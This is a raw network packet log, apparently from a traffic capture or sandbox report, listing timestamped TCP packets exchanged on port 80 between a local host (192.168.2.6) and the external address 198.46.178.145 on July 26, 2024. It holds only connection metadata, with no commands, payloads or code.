Jul 26, 2024 11:27:09.655884981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.655904055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.655921936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.655929089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.655936956 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.655949116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.655956984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.655971050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.655983925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.655992031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656001091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656013012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656030893 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656038046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656045914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656059027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656074047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656085968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656102896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656110048 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656122923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656136036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656136036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656147003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656153917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656162024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656183004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656192064 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656204939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656219959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656227112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656243086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656249046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656260014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656270981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656281948 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656296015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656311035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656321049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.656332970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.656378031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658124924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658143044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658170938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658314943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658334017 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658355951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658371925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658379078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658386946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658400059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658416033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658421993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658436060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658446074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658459902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658467054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658484936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658497095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658514023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658520937 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658534050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658544064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658560991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658567905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658580065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658590078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658606052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658612967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658627987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658634901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658652067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658659935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658670902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658680916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658695936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658705950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658715010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658727884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658745050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658751965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658763885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658773899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658790112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658797026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658808947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658824921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658833027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658860922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658868074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658881903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658896923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658904076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658914089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658926010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658940077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658946991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658957005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658970118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.658983946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.658992052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.659001112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.659013987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.659028053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.659034967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.659044027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.659071922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661257982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661278009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661292076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661305904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661314011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661328077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661336899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661351919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661362886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661381960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661381960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661392927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661421061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661431074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661443949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661459923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661467075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661477089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661489010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661499023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661534071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661549091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661556005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661573887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661585093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661602020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661609888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661621094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661632061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661648035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661654949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661665916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661676884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661690950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661703110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661714077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661720991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661731005 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661741018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661755085 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661761999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661777020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661782980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661798000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661804914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661819935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661827087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661840916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661858082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661858082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661870003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661887884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661899090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661914110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661921024 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661936045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661942005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661955118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661967993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661967993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.661979914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.661988020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662012100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662019014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662033081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662045002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662056923 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662066936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662085056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662098885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662106037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662121058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662127972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662142038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662151098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662166119 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662172079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662185907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662194014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662206888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662214994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662229061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662236929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662250996 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662257910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662271976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662280083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662293911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662301064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662313938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662324905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662333965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662345886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662362099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662369013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662381887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662393093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662404060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662425995 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662440062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662452936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662467003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662476063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662484884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662498951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662507057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662519932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662528992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662542105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662552118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662564993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662573099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662585020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662594080 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662611008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662630081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662648916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662662029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662669897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662684917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662692070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662717104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662717104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662750006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662765026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662785053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662802935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662811995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662832022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662849903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662857056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662863970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662877083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662890911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662902117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662908077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662920952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662936926 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662944078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662957907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.662972927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.662983894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663006067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663018942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663033962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663072109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663072109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663141966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663156033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663175106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663187981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663207054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663220882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663240910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663249016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663261890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663271904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663285017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663300037 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663307905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663321018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663331032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.663337946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.663361073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664397955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664431095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664446115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664458036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664474964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664505005 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664520979 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664535046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664542913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664565086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664575100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664588928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664609909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664623976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664634943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664634943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664634943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664668083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664674997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664695978 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664702892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664725065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664737940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664757013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664769888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664777040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664791107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664798021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664812088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664830923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664839983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664856911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664871931 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664885044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664896011 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664921045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664930105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664943933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664959908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664966106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.664983034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.664995909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665008068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665019989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665034056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665044069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665052891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665072918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665085077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665119886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665138006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665146112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665153980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665169954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665178061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665194988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665211916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665219069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665234089 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665241003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:09.665255070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:09.665267944 CEST	80	49741	198.46.178.145	192.168.2.6
